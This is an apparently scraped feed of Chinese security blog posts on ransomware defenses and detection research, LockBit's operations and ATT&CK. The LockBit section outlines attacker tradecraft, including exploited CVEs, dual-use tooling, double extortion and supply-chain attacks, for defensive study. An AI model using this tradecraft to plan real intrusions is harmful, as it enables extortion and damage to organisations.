最终，有效的漏洞管理不仅仅是关于修复技术缺陷，而是关于持续改善组织的整体安全态势和韧性。通过采用这种整体和动态的方法，组织可以更好地保护自己免受当前和未来的网络威胁。

阅读原文

跳转微信打开

勒索软件的防御手段和检测技术

Wed, 17 Apr 2024 11:23:00 +0800

原创程度 2024-04-17 11:23 北京

基于上篇分析LockBit的勒索软件攻击技术，本文研究勒索软件的防御手段和检测技术，同时基本涵盖了主流勒索软件的检测思路，可以作为目前最为流行的威胁的参考内容。

前言

基于上篇文章分析LockBit的勒索软件攻击技术，本篇文章研究勒索软件的防御手段和检测技术。一般用户只需要了解防御手段，检测技术原理简单了解即可。针对勒索软件的ATT&CK的攻击阶段技术对应的防御手段，根据自身情况可以进行查漏补缺。同时这篇文章基本涵盖了主流勒索软件的检测技术思路，可以作为目前最为流行的威胁的参考内容。

勒索软件的防御手段

根据勒索软件的ATT&CK的各个攻击阶段，分析相对应的方式进行防御。

图1 勒索软件的ATT&CK的各个攻击阶段

（1）初始访问阶段

使用隔离的浏览器或者带沙箱的访问环境，这样可以避免一些恶意的钓鱼邮件或者恶意代码。
使用邮件安全网关，可以过滤恶意的钓鱼邮件或者阻止一些恶意IP，尤其是针对外部邮件设置特殊警告，同时针对钓鱼开展安全意识培训。
使用WAF，防御应用层安全问题。
设置账号口令以及口令策略，比如长度，复杂度，定期更改，尝试次数等；对账号权限进行最小权限原则；并对管理员权限账号进行审计；使用账号多因素认证（MFA）；限制服务账号和管理员账号对互联网服务的访问；即时对账号权限进行分配，防止权限攀升或保留的情况。
保证操作系统、软件及固件更新到最新。尤其是针对一些高危可利用的漏洞要进行修复和升级。
对域控进行安全加固和安全监控。
禁用不适用的互联网业务。
做好网络隔离，配置良好的ACL规则。

（2）执行阶段

构建内部网络拓扑的架构，可以描绘内部的服务和数据的流向。
开启Powershell的日志记录以及脚本执行记录。
配置Windows注册表，对于PsExec操作开启UAC机制。

（3）提权

禁用命令行和脚本执行行为和权限，通常命令和脚本都是提权的重要通道。
开启权限保护（Credential Guard），这个机制在Windows 11默认开启，可以防止对LSA凭证转储。
使用本地管理员密码解决方案（LAPS），前提是升级到Windows Server 2019和Windows 10以上。

（4）防御规避

应用本地安全策略来控制应用执行，比如使用SRP，Applocker，WDAC等来去确定白名单和黑名单。

（5）凭证访问

限制NTLM使用，进行安全加固和防火墙策略。

（6）发现

禁用不使用的端口。

（7）横向移动

识别AD的控制路径，为了排除对重要业务资产的访问路径。
使用终端安全产品来识别东西向的访问流量，从而可以识别受到勒索软件感染的机器的横向移动行为。

（8）C2

使用多层网络架构，创建可信区域保护组织的敏感数据。
不应该使用VPN来进行可信区域的访问，要考虑零信任架构。

（9）渗出

阻断跟恶意系统的连接，恶意系统主要使用的是TLS的代理。同时利用威胁情报的订阅内容来阻断C2的服务器连接。
使用网关安全等产品来限制和监控对外提供文件服务的相关系统，防止数据外发。

（10）影响

实施恢复计划，要保存多份备份在不同的隔离的安全的物理位置。
维护离线的备份数据，建议3-2-1备份策略：保证3个备份（一份生产，二分备份），在2个媒介上存储，比如磁盘和磁带，1个保存在灾备中心。
保证所有的备份数据都是加密的。

新西兰CERT对于这些ATT&CK阶段合并为三个大阶段和相关防御手段做了图示。

图2 新西兰CERT归纳ATT&CK三个大阶段和相关防御手段

图3 上图各标记点含义

勒索软件的检测技术

基于网络的检测

针对勒索软件的流量分析主要在C2这个阶段进行的分析，比如大部分勒索软件都是使用DNS协议请求来解析C2的服务器IP地址。有针对HTTP-POSTS, MDN, and DNS三种协议统一分析的机器学习算法，包括使用随机森林、贝叶斯网络和SVM方法进行检测。有针对SMB协议进行分析检测的方法，有一种算法叫做REDFISH是通过文件读写速度进行判断是否勒索行为。也有针对邮件进行检测的方式R-killer，分为三个部分进行邮件检测：邮件本身检测，邮件附件沙箱检测以及邮件相关链接检测。有通过HTTP POST包的流量特征进行强化学习和微调进行检测。也有通过Tshark工具进行勒索软件流量采样特征提取并进行学习的算法进行检测。

如果无差别的提取流量特征，并很难提取了勒索软件最相关的有效特征，更像一种过拟合方式进行匹配，反而不利于真正的特征的抽样和匹配。针对性的协议和针对性的协议内容分析是更好的一种方式，但是针对于变种的多变性，可能在下一代变种中换一种协议和方式可能就会绕过。目前看起来勒索软件使用的网络协议中比较有特征的是HTTP、DNS和SMB等，在这个角度中挖掘可能会得到比较好的效果。总体来说基于网络协议以及流量和特征的方式，针对于新变种的勒索软件比较乏力，很难做到较好的漏报率和误报率的平衡，所以有些方案中加入了主机的相关信息作为有益的补充来进行机器学习或者分析依据来判断是否是勒索软件。

基于主机的检测

主机层面的检测主要针对系统的行为进行检测，主要检测的内容包括内存和文件操作，系统API调用，dll调用等相关内容。UNVEIL检测方法利用修改Cuckoo的沙箱达到更真实的环境来提取相关的API和文件操作，然后计算读写数据缓存的熵值来区别是否是勒索软件，主要使用I/O的相关数据进行分析。

图4 UNVEIL原理示意图

PAYBREAK设计了一种hook加密函数的机制并导出密钥来进行勒索之后的解密。这个方法主要利用了现在勒索软件的混合加密机制（非对称密码算法加密对称算法密钥，对称算法密钥加密相关文件）。在混合加密机制下，基本都是两层密钥加密，如果加密完成后只能依赖勒索攻击者的私钥才可以通过两次解密得到相关对称密钥，最终对文件进行解密。由于现在对每个文件都是一次一密的形式，只能考虑在对称加密算法对文件加密的过程中来保存每个对称密钥。为了更安全的保存密钥，这个方法也采用了一个密码保险库（Key Vault）来进行保存，对于保存的内容也是用非对称加密算法进行加密，使用append-only的形式进行写入和读取，防止被勒索软件进行加密或者篡改。最后就可以通过这个密码保险库提取对称密钥来进行每个文件的解密。这个方法的难点是在hook相关加密函数上，如果是动态链接库使用系统的加解密API是相对容易提取对称密钥，如果是静态链接的密码库hook机制就会用到IDA相关逆向工程的技术找到相关的hook点进行密钥的导出。这种方法有点后知后觉，但是至少可以不用支付赎金也能解密的一种方法。

图5 PAYBREAK原理示意图

ShieldFS设计了一个虚拟的文件系统来缓存被勒索软件加密的文件。核心原理是分析相关I/O行为，也就是文件的读写等操作来判断是否是勒索或者是正常的文件操作行为，对于正常的文件操作备份文件立即删除，如果是勒索行为的文件行为即将进程杀掉并恢复相关文件。这种方法保留了一个时间差，可以在勒索软件正常进行勒索行为的过程中发现恶意的文件操作行为制止并对之前的文件操作进行恢复，这样既可以对准确发现勒索行为，又可以恢复被加密的文件。

图6 ShieldFS原理示意图

Redemption使用了驱动层和用户层的配合来判断勒索软件的行为，驱动层处理相关文件的写操作，用户层进行阈值（MSC）的判断返回相关结果给驱动层，最终决定对文件的相关操作，可以达到勒索软件对数据或者文件的零损伤。如果是正常的文件操作，就会把保护的文件数据删除并提交对原始文件的操作；如果是勒索软件操作，就会把阻止操作并提示报警进行确定之后把文件恢复。

图7 Redemption原理示意图

基于主机的检测主要是针对系统行为的检测，主要是针对I/O行为的分析辅助一些其他的API数据等，重点是利用的文件系统的一些机制比如利用内核进行hook。这种模式从效果来看应该是最好的一种方式，勒索软件最重要的一些行为都会体现，但是就是相对来说有一些对工作负载的一些成本和可能的一些不稳定因素。对于加密函数hook机制和密钥导出的方式算是一种除了备份之外的一种逃生机制，也是一种tricky的方式来应对勒索软件。

基于文件的检测

基于文件的检测分为两个方向的思路：第一是针对勒索软件的静态分析，第二是针对勒索软件对系统相关文件的特定行为监控。

静态文件分析

静态文件分析主要针对于勒索软件的二进制进行分析，也分为几个层次的特征提取，比如汇编码，库和函数几个层面进行逆向分析，然后结合机器学习算法进行训练，比如N-gram、HMM、SVM等算法，但是目前得到的效果都比较一般，识别率都在90%左右。

图8 勒索软件静态分析抽取特征图

基于诱饵的检测

勒索软件系列中采用的攻击策略非常相似，都是加密或删除用户文件。例如，恶意进程暴力遍历所有文件（在不同的路径中，并且使用不同的扩展名），并尝试在很短的时间内加密和/或删除它们。然而，黑客可以尝试通过模仿正常用户行为发起攻击来逃避检测。例如，黑客可能会避免暴力加密所有文件，首先加密具有最近访问或修改时间的文件。像这样监控行为的方法可能无法检测到勒索行为。然而，检测这些攻击的一种技术可能是磁盘上多个位置的安装诱饵文件并持续监控。

系统文件的诱饵，可以分为仿真诱饵和隐式诱饵。仿真诱饵尽量的伪造真实的有诱惑力的敏感信息诱饵，比如客户数据文档等。仿真诱饵可以采用黑客技术进行反控制，比如反连上线诱饵，钓鱼诱饵，登录诱饵等，这种仿真诱饵在攻击者拿到之后，使用过程中进行反控或者获取攻击者信息等。隐式诱饵是通过构建一些系统隐藏属性的文件来监测，用来发现程序自动扫描出发的一些行为来判断是否是勒索软件扫描遍历文件和目录的行为。

针对文件服务，上传诱饵文件发送至各个 FHS（File Hosting Services），并创建相关链接。由于文件的链接尚未与任何人共享，任何文件访问均被记录监视器是恶意用户造成的。能够下载并打开诱饵文件，则会触发隐藏的回连功能。

文件完整性的检测

文件完整性检测更多是事后的一种检测方式。比如文件的属性变化，内容变化等情况就会进行异常报警。通过监控文件系统在一定时间内的重命名、写入或删除等海量文件操作，可以实时捕获正在发生的勒索软件攻击，甚至可能自动阻止它。有些文件完整性解决方案具有实时修复功能，因此可以通过自动威胁响应立即阻止检测到的勒索软件，这个方案就是具备实时监控和备份的机制。也可以对备份服务及备份文件重点监控也是一种思路。

基于硬件的检测

基于硬件数据检测主要分为CPU类型、GPU类型和硬盘类型三种形式。

CPU类型检测

英特尔TDT（Threat Detection Technology） AI 软件可以在恶意软件尝试在 CPU 微架构上执行时对其进行分析。这种高保真硬件警报被转发到安全软件，以便在电脑上进行快速修复并在整个机群中进行主动保护。该解决方案将加速内存扫描和AI 等计算密集型安全工作负载从 CPU 分流至英特尔集成 GPU，以改善用户体验。微软的Defender终端安全已经集成了TDT平台数据来对勒索软件进行保护，相当于CPU集成的GPU来进行操作系统甚至之上虚拟的威胁检测，可以极大降低工作负载的性能消耗。

图9 Intel TDT平台

GPU类型检测

开发者可以利用 NVIDIA BlueField DPU（数据处理器），支持 DOCA App Shield 的 NVIDIA DOCA SDK 和 NVIDIA Morpheus 网络安全人工智能框架等先进技术来构建解决方案，以更快地检测勒索软件攻击。

BlueField DPU 提供了新的 OS-Inspector 检测应用程序，以利用 DOCA App-Shield 主机监控功能，OS-Inspector 应用程序使用 DOCA 遥测服务，使用 Kafka 事件流平台将属性流式传输到 Morpheus 推理服务器。

在 Morpheus 中的一个预训练的 AI 模型是勒索软件检测流水线，它利用 NVIDIA DOCA App-Shield 作为数据源。这为检测以前无法实时检测的勒索软件攻击带来了一个新的安全级别。

NVIDIA 合作伙伴 FinSec Innovation Lab 是 Mastercard 和 Enel X 的合资企业，在 NVIDIA GTC 2023 上展示了其对抗勒索软件攻击的解决方案。FinSec 运行了一个 POC，该 POC 使用 BlueField DPU 和 Morpheus 网络安全 AI 框架来训练模型，在不到 12 秒的时间内检测到勒索软件攻击。这种实时响应使他们能够隔离虚拟机，并在受感染的服务器上保护 80% 的数据。

图10 勒索软件检测 AI 流水线

硬盘类型检测

SSD与HDD一个显著地不同是，当逻辑上的覆写发生时，HDD会直接在物理硬件上覆写数据。而SSD通过out-of-place机制覆写。在发生覆写时，SSD把数据写到新的区块中，将旧的区块标记为无效并且通过Garbagae Collegection回收无效区块。

图11 HDD和SSD在覆写操作上的区别

基于这个机制FlashGuard方法是建立在SSD的固件层中，这样的带来的好处是FlashGuard通过硬件和操作系统隔离，因此可以抵抗来自高权限勒索软件的攻击。FlashGuard包括两个主要组成部分，Ransomware-aware Flash Translation Layer (RFTL)和数据恢复工具。

RFTL的作用是保存可能被加密勒索病毒覆写的数据，恢复工具使得受害用户可以恢复被加密的文件。其中，FTL是主流SSD的原有结构。如果一个页先被读取，然后再次被覆写，就有可能是被勒索软件污染的页。我们在FTL中添加一个结构体Read Tracker Table（RTT）。当对某个页发生读操作时，RTT中会标记该页已经被读取。当这个页被覆写时，FlashGuard会查询RTT从而确定它曾经被读取过，并且进一步将其标记为污染页。同时，FlashGuard会将这个覆写发生的时刻记录为污染时间点。当垃圾回收发生时，如果一个污染页的污染时间点比当前时刻少于一个阈值（默认值为20天）时，它会确保此污染也不会被回收。因此，20天内的可能被污染的数据都被保留在SSD中。

图12 RTFL结构简介

IBM近期也推出了相关存储产品FlashSystem可以防御勒索软件。该产品在数据写入过程中，会以块级粒度扫描所有传入数据。整个过程将涉及内联数据损坏检测软件以及云端AI方案，借此识别出可能象征网络攻击（包括勒索软件）的异常情况。依托于此类早期检测机制，管理员可以立即采取响应以缓解攻击影响。第四代FCM技术使用机器学习模型持续监控从每项输入/输出（I/O）操作中收集到的统计数据。IBM训练的这些模型能够检测出包括勒索软件行为在内的多种异常情况。IBM公司苏黎世研究团队负责协助维护勒索软件I/O签名数据库，这套数据库将帮助系统持续对齐不断变化的威胁形势。

图13 IBM推出的FlashSystem运行过程

总结

综上所述，检测技术中可以看出基于网络和文件的检测效果只能在90%左右，很难有效的提高到理想的情况。基于网络的检测最好是针对特定协议的研究可能效果更好，基于文件的检测更像逆向和病毒分析的逻辑，特征提取是难点。检测效果最好的是基于主机的检测，也是勒索软件行为的检测。但是技术壁垒较高，需要对操作系统、文件系统的各种原理熟悉，并对勒索软件的重要的文件读写特征统计并利用机器学习建模。基于硬件的检测目前只看到国外的相关芯片厂商有相关机制，国内的厂商目前还在解决“卡脖子”和性能的问题，后续需要有相关的特性才能让国内的ISV的安全厂商利用这些硬件机制，硬件机制的好处是可以极大的分担工作负载的性能和成本，可以将安全软件的性能降低一个量级。

参考资料

1.https://www.bsi.bund.de/EN/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Ransomware-Angriffe/Top-10-Massnahmen-Detektion/top-10-massnahmen-detektion_node.html

2.https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-165a

3.https://www.cert.govt.nz/it-specialists/guides/how-ransomware-happens-and-how-to-stop-it/

4.Akinyemi, Oladipupo et al. “Analysis of the LockBit 3.0 and its infiltration into Advanced's infrastructure crippling NHS services.” ArXiv abs/2308.05565 (2023): n. pag.

5.https://analyst1.com/ransomware-diaries-volume-1/

6.https://www.malwarebytes.com/blog/business/2022/10/top-5-ransomware-detection-techniques-pros-and-cons-of-each

7.Vehabovic, Aldin et al. “Ransomware Detection and Classification Strategies.” 2022 IEEE International Black Sea Conference on Communications and Networking (BlackSeaCom) (2022): 316-324.

8.Harun Oz, Ahmet Aris, Albert Levi, A. Selcuk Uluagac. “A Survey on Ransomware: Evolution, Taxonomy, and Defense Solutions”. ACM Computing Surveys, Volume 54, Issue 11s,Article No.: 238, pp 1–37, 2022.

9.E. Kirda, "UNVEIL: A large-scale, automated approach to detecting ransomware (keynote)," 2017 IEEE 24th International Conference on Software Analysis, Evolution and Reengineering (SANER), Klagenfurt, Austria, 2017, pp. 1-1.

10. Kolodenker, E., Koch, W., Stringhini, G., & Egele, M. (2017). "PayBreak: Defense Against Cryptographic Ransomware",Proceedings of the 2017 ACM on Asia Conference on Computer and Communications Security.

11.Andrea Continella, Alessandro Guagnelli, Giovanni Zingaro, Giulio De Pasquale, Alessandro Barenghi, Stefano Zanero, and Federico Maggi. 2016. ShieldFS: a self-healing, ransomware-aware filesystem. In Proceedings of the 32nd Annual Conference on Computer Security Applications (ACSAC '16). Association for Computing Machinery, New York, NY, USA, 336–347.

12.Kharraz, A., Kirda, E. (2017). Redemption: Real-Time Protection Against Ransomware at End-Hosts. In: Dacier, M., Bailey, M., Polychronakis, M., Antonakakis, M. (eds) Research in Attacks, Intrusions, and Defenses. RAID 2017. Lecture Notes in Computer Science(), vol 10453. Springer, Cham.

13.Kharraz, A., Robertson, W., Balzarotti, D., Bilge, L., Kirda, E. (2015). "Cutting the Gordian Knot: A Look Under the Hood of Ransomware Attacks". In: Almgren, M., Gulisano, V., Maggi, F. (eds) Detection of Intrusions and Malware, and Vulnerability Assessment. DIMVA 2015. Lecture Notes in Computer Science(), vol 9148. Springer, Cham.

14.K. P. Subedi, D. R. Budhathoki and D. Dasgupta, "Forensic Analysis of Ransomware Families Using Static and Dynamic Analysis," 2018 IEEE Security and Privacy Workshops (SPW), San Francisco, CA, USA, 2018, pp. 180-185.

15.Bowen, B.M., Hershkop, S., Keromytis, A.D., Stolfo, S.J. (2009). "Baiting Inside Attackers Using Decoy Documents". In: Chen, Y., Dimitriou, T.D., Zhou, J. (eds) Security and Privacy in Communication Networks. SecureComm 2009. Lecture Notes of the Institute for Computer Sciences, Social Informatics and Telecommunications Engineering, vol 19. Springer, Berlin, Heidelberg.

16.https://www.intel.cn/content/www/cn/zh/architecture-and-technology/vpro/hardware-shield/threat-detection-technology.html

17.https://www.intel.cn/content/dam/www/central-libraries/us/en/documents/2023-03/se-labs-intel-tdt-ransomware-test-report.pdf

18.https://www.eset.com/ca/about/newsroom/corporate-blog/enhancing-ransomware-protection-with-the-intel-vpro-platform-1/

19.https://developer.nvidia.com/blog/supercharge-ransomware-detection-with-ai-enhanced-cybersecurity-solutions/

20.Huang, J., Xu, J., Xing, X., Liu, P., & Qureshi, M. “FlashGuard: Leveraging Intrinsic Flash Properties to Defend Against Encryption Ransomware”. In The 24th ACM Conference on Computer and Communications Security (CCS 2017), Dallas, USA, 2017.

21.https://newsroom.ibm.com/blog-IBM-adds-AI-enhanced-data-resilience-capabilities-to-help-combat-ransomware-and-other-threats-with-enhanced-storage-solutions

阅读原文

跳转微信打开

LockBit引领勒索软件进入下个时代

Thu, 28 Mar 2024 18:29:00 +0800

程度 2024-03-28 18:29 北京

2022年，LockBit是世界上部署最多的勒索软件变体，并在2023年继续扩大规模。自2020年1月以来，使用LockBit的联盟机构攻击了一系列不同规模的关键基础设施部门。

LockBit简介

2022年，LockBit是世界上部署最多的勒索软件变体，并在2023年继续扩大规模。自2020年1月以来，使用LockBit的联盟机构攻击了一系列不同规模的关键基础设施部门，包括金融服务、食品和农业、教育、能源、政府和应急服务、医疗保健、制造业和运输。LockBit勒索软件运营是一种勒索软件即服务（RaaS）模式，招募联盟机构使用LockBit的勒索软件工具对基础设施进行勒索软件攻击。由于行动中有大量未联网的联盟机构，LockBit勒索软件攻击在观察到的战术、技术和程序（TTP）方面差异很大。观察到的勒索软件TTP的这种差异对致力于维护网络安全和防范勒索软件威胁的组织来说是一个的挑战。

根据《Zscaler ThreatLabz 2023 Ransomware Report》中显示，根据其泄露的受害者数量，LockBit, ALPHV/BlackCat, and BlackBasta这三家是最流行的勒索软件勒索组织，其中LockBit的受害者数量也是远超其他家。

LockBit商业模式

LockBit采用的是联盟营销模式（Affiliate Model）。这种营销模式，是一种按营销效果付费的网络营销方式。商家通过联盟营销渠道产生了一定收益后，才需要向联盟营销机构及其联盟会员支付佣金。由于是无收益无支出、有收益才有支出的量化营销，因此联盟营销已被公认为最有效的低成本、零风险的网络营销模式。

LockBit联盟公司对世界各地的大大小小的组织都产生了负面影响。2022年，就数据泄露网站上声称的受害者数量而言，LockBit是最活跃的全球勒索软件集团和RaaS提供商。RaaS网络犯罪集团维护特定勒索软件变体的功能，向个人或运营商团体（通常被称为“联盟公司”）出售对该勒索软件变种的访问权限，并支持联盟公司部署其勒索软件，以换取预付款、订阅费、利润分成，或预付款、订购费和利润分成的组合。LockBit成功吸引联盟公司的一些方法包括但不限于：

⦁ 通过允许联盟公司在向核心集团收到赎金之后来确保付款；这种做法与其他RaaS集团形成了鲜明对比，后者先收取自己的费用，然后再支付联盟公司的费用；

⦁ 在线论坛中贬低其他RaaS群组；

⦁ 参与宣传活动的噱头，例如付钱给人们做LockBit纹身，并悬赏100万美元获取与LockBit主角“LockBitSupp”真实身份相关的信息；

⦁ 为其勒索软件开发和维护一个简化的点击式界面，使技术水平较低的人可以访问该界面。

LockBit这种营销模式让市场营销人员直呼内行，也宣称是全球唯一一个不经手加盟租住的RaaS联盟项目。其他勒索软件联盟项目都会要求合作伙伴先将赎金支付转入自己的钱包，然后再向合作伙伴支付其份额，一旦RaaS项目运营者卷款跑路，其“合作伙伴”将蒙受巨大损失，例如DarkSide项目。LockBit对其勒索软件攻击活动的定义是：“后付费的渗透测试服务”。

LockBit技术思路

1.采用敏捷开发方案，每一年发布一个新版本和多个变种。

LockBit更新表

时间	版本更新事件
2019年9月	首次观察到LockBit的前身ABCD勒索软件的活动。
2020年1月	LockBit命名的勒索软件首次出现在基于俄语的网络犯罪论坛上。
2021年6月	LockBit版本2（LockBit 2.0）的出现，也称为LockBit Red，包括StealBit，一种内置的信息窃取工具。
2021年10月	引入LockBit Linux ESXi Locker版本1.0，将功能扩展到Linux和VMware ESXi的目标系统。
2022年3月	LockBit 3.0的出现，也称为LockBit Black，与BlackMatter和Alphv（也称为BlackCat）勒索软件有相似之处。
2022年9月	非LockBit联盟公司在其构建程序被泄露后能够使用LockBit 3.0。
2023年1月	LockBit Green结合了来自Conti勒索软件的源代码
2023年4月	VirusTotal上出现了针对macOS的LockBit勒索软件加密程序

LockBit通过集团管理面板和RaaS支持功能的创新和持续发展取得了成功。与此同时，与LockBit和其他著名变体合作的分支机构正在不断修改用于部署和执行勒索软件的TTP。

2.会采用泄露数据的方式来加强勒索的力度。

泄露的网站只展示列出了LockBit联盟公司遭受二次勒索的部分受害者。自2021年以来，LockBit的分支机构采用了双重勒索，首先加密受害者数据，然后窃取这些数据，同时威胁要将被盗数据发布到泄露网站。由于LockBit只披露拒绝支付主要赎金解密其数据的受害者的姓名和泄露的数据，因此一些LockBit受害者可能永远不会被点名，也不会将其经过滤的数据发布在泄露网站上。因此，泄漏网站揭示了LockBit联盟公司的一部分受害者。由于这些原因，泄漏网站不是LockBit勒索软件攻击发生时间的可靠指标。泄露网站上的数据发布日期可能是LockBit联盟公司实际执行勒索软件攻击后的几个月。

3.为了增强其自身安全性，还推出了一个漏洞奖励项目。

鼓励研究人员以1000至100万美元的价格报告漏洞赏金。

此外，LockBit已经扩大了其漏洞奖励计划，不仅仅是为发现的漏洞付费，现在还创造性的为增强其勒索软件运营的方法提供奖励。他们甚至为任何能够识别LockBitSupp的人提供了100万美元的现金奖励。

4.使用了大量的免费和开源的软件作为攻击工具。

在入侵期间为了掩人耳目，LockBit 联盟公司被发现使用各种看起来合法使用的免费软件和开源工具。当 LockBit 重新调整其用途时，这些工具可用于一系列恶意网络活动，例如网络侦察、远程访问和隧道、凭证转储和文件泄露。在大多数入侵中都观察到使用 PowerShell 和批处理脚本，这些入侵主要集中在系统发现、侦察、密码/凭据搜索和权限升级。专业渗透测试工具（例如 Metasploit 和 Cobalt Strike）也已被观察到。提到的合法免费软件和开源工具都是公开可用且合法的。威胁行为者对这些工具的使用不应归因于免费软件和开源工具，因为缺乏具体的事实可表明这些工具是在威胁行为者的指导下或在威胁行为者的控制下使用的。

5.使用已知漏洞进行入侵行为。

这种行为并不是最优选的方案，主要基于0day漏洞的成本考虑，所以才会使用二手漏洞资源。联盟公司一般使用比较老旧的漏洞，也会使用较新的漏洞。比较常见的漏洞如下：

⦁ CVE-2021-44228: Apache Log4j2 Remote Code Execution Vulnerability,

⦁ CVE-2021-22986: F5 BIG-IP and BIG-IQ Centralized Management iControl REST Remote Code Execution Vulnerability,

⦁ CVE-2020-1472: NetLogon Privilege Escalation Vulnerability,

⦁ CVE-2019-0708: Microsoft Remote Desktop Services Remote Code Execution Vulnerability, and

⦁ CVE-2018-13379: Fortinet FortiOS Secure Sockets Layer (SSL) Virtual Private Network (VPN) Path Traversal Vulnerability.

6.供应链攻击引发“二次爆炸”。

当 LockBit 联盟机构针对负责管理其他组织网络的组织时，在主要目标上引爆 LockBit 变种后尝试进行二次勒索软件勒索。一旦主要目标被击中，LockBit 联盟公司就会尝试勒索主要目标客户的公司。这种勒索以二级勒索软件的形式出现，它会锁定客户使用的服务。此外，主要目标的客户可能会受到 LockBit 联盟公司的勒索，威胁要泄露这些客户的敏感信息。

7.采用非流行的ATT&CK的TTP。

我们需要对以下假设进行更多研究：一些勒索软件团体之所以更成功，是因为加盟机构拥有被忽视的能力。除了 T1003.001 OS Credential Dumping 技术之外，LockBit 加盟公司使用的前 10 名 MITRE ATT&CK 技术与大多数TOP 10 MITRE ATT&CK 技术都不同。

LockBit的TOP 10 ATT&CK的技战术如下：

LockBit死灰复燃

执法机构2024年2月份宣布了“克罗诺斯行动”，这是一项由英国国家犯罪局 (NCA) 领导、计划已久的针对 LockBit 的打击行动。此次行动还涉及来自美国、加拿大、法国、德国和其他几个国家的执法组织。执法机构在三个国家查获了 28 台服务器，并控制了 LockBit 的泄密网站和该组织的管理门户。波兰和乌克兰的两名嫌疑人也被捕，但身份尚未确定。

LockBit管理员将此次取缔归咎于联邦调查局，并表示联邦调查局决定对该团伙进行黑客攻击是因为LockBit 获得了有关美国前总统唐纳德·特朗普的敏感信息，这些信息可能会影响即将到来的总统选举。LockBit 勒索软件最近袭击了佐治亚州富尔顿县，该县当局正在对特朗普和几名共同被告提出刑事指控，罪名是涉嫌试图颠覆 2020 年总统选举。

一周之后LockBit 回来了，并提供了有关漏洞的详细信息以及他们将如何运营业务以使他们的基础设施更难以被黑客攻击。攻击发生后，该团伙立即确认了此次泄露，称他们只丢失了运行 PHP 的服务器，PHP 的备份系统未受影响。

在克罗诺斯行动期间，当局收集了 1000 多个解密密钥。LockBit 声称警方从“未受保护的解密器”获得了密钥，服务器上有近 20,000 个解密器，大约是整个操作过程中生成的约 40,000 个解密器的一半。威胁行为者将“未受保护的解密器”定义为未启用“最大解密保护”功能的文件加密恶意软件的构建，通常由低级别加盟机构使用，这些加盟机构仅收取 2,000 美元的较小赎金。

同时LockBit 勒索软件开发人员正在秘密构建新版本的文件加密恶意软件，称为 LockBit-NG-Dev，很可能成为 LockBit 4.0，甚至在执法部门摧毁了该网络犯罪分子的基础设施之前。

虽然以前的 LockBit 恶意软件是用 C/C++ 构建的，但最新的示例是用 .NET 编写的，似乎是使用 CoreRT 编译的，并使用 MPRESS 打包。

新的 LockBit 加密器的发现是执法部门通过克罗诺斯行动对 LockBit 运营商造成的又一次打击。即使备份服务器仍然由该团伙控制，当安全研究人员已知加密恶意软件的源代码时，恢复网络犯罪业务也应该是一项艰巨的挑战。

未来的勒索软件的趋势

根据上述对LockBit的各方面分析，可以看出勒索软件会进入下个时代，但是下个勒索软件时代是否属于LockBit未可知，但是继续进化是一定的。以下几个方面是勒索软件进化的方向：

⦁ 采用无加密的数据泄露和竞拍的勒索方式

传统上，针对企业的勒索软件组织通常会针对正常运行时间至关重要的业务，即因加密文件或停止生产而损失一小时的费用也可能会造成高昂的代价。但一些敌对组织在没有部署有效负载的情况下，仅通过数据泄露的勒索就取得了成功。如今，窃取或加密数据以勒索受害者已成为勒索软件组织的常态。但被盗数据不仅对其所有者有价值，这些数据在竞争对手眼里也非常有价值。一台受感染的机器可以为对手提供大量公司机密和敏感文件，准备出售给最高出价者。这样的方式不仅可以减少对业务的直接伤害而且可以降低一些声誉的损害。

⦁ 使用供应链攻击方式进行勒索攻击

供应链攻击不是攻击单个受害者，而是扩大了爆炸半径。其中一个例子是 Progress 软件的 Moveit Transfer 软件产品中的漏洞，该漏洞导致 Clop 勒索软件团伙发起大规模勒索软件攻击。过去几年发生了多起此类事件，包括影响至少 1,500 名托管服务提供商客户的 Kaseya 攻击以及 SolarWinds 黑客攻击。

⦁ AI加成下的勒索软件开发和攻击方式

勒索软件组织预计将更多地利用人工智能（AI）功能——包括聊天机器人、人工智能开发的恶意软件代码、机器学习算法、自动化流程，以及更多——这将使他们能够开发出更复杂的产品高效的技术，让传统的方法变得更加困难检测和防止此类攻击的网络安全措施。人工智能也可能将开发勒索软件的门槛降低并使用更少老练的威胁攻击者。

⦁ 对网络安全保险对象的勒索

网络犯罪分子有更加关注网络组织的目标保险覆盖范围，盈利趋势可能会持续下去。攻击者知道受保受害者更有可能支付赎金，因为他们可以信赖保险来支付费用。这一目标战略旨在最大限度地提高成功支付赎金的机会。

⦁ 以云计算为重点目标勒索

随着越来越多的组织迁移到云端，端点漏洞的情况也随之发生变化。网络安全团队已经适应了云的去中心化性质，但错误配置和未修补的漏洞仍然是勒索软件组织寻求立足点的主要目标。谷歌网络安全行动团队的一项研究发现，86% 的受感染云实例用于挖掘加密货币。已经参与“加密劫持”的对手可以轻松地在受感染的系统上部署勒索软件，或者向更成熟的勒索软件组织出售访问权限。

⦁ 扩展其他的非常见平台的勒索

除了windows系统之外，勒索软件已经支持了Linux、MacOS以及ESXI等平台，不常见的平台实际上可能会给您的组织带来最大的风险，因为勒索软件组织在没有备份的情况下更关注关键业务设备的价值。攻击人员也不会仅仅坚持经过验证的攻击。佐治亚理工学院的研究人员于 2017 年进行了将勒索软件部署到程序逻辑控制器 (PLC) 的概念验证。重建或更换此类设备的成本可能高得令人望而却步，而这正是勒索软件组织寻求赔偿的目的。

勒索软件目前来看主要的针对对象是欧美相关国家，但是网络世界没有围墙，对于我国的危害也是愈演愈烈。我们要提前了解这些可能的方式和危害，后续笔者还会研究相关的防御和检测等相关技术，有助于整个行业对勒索软件的认知和防御。

阅读原文

跳转微信打开

ATT&CK 变成安全“元宇宙”？

Thu, 14 Apr 2022 19:00:00 +0800

原创程度 2022-04-14 19:00

从某种意义来看，ATT&CK框架包含了太多的安全场景，从“元宇宙”的现实表达和普遍包容性这个点上来看，ATT&CK可能是安全领域的“元宇宙”层面的存在。

摘要

ATT&CK框架一年来又迎来了很多的变化：从框架本身的调整加入了更多检测类的能力，重点是独立了数据源相关的内容，同时扩充了在各种基础设施方面的覆盖，包括网络，移动端，macOS，Linux，IaaS，容器，SaaS，ICS等。以及未来要更新的行动计划（Campaigns）的加入。

从评估项目来看，除了第四轮的常规测试之外，还有工控和服务的评估计划。培训项目中的内容也越来越丰富，认证增加了更多的角色。ATT&CK的开源兄弟项目也越来越多，Workbench可以注释、创造和分享相关的攻击技术，Engage重点在于欺骗技术，D3FEND框架在NSA的支持下更容易对攻击技术理解和检测落地。同时跟STIX威胁情报格式的兼容也做了完善。

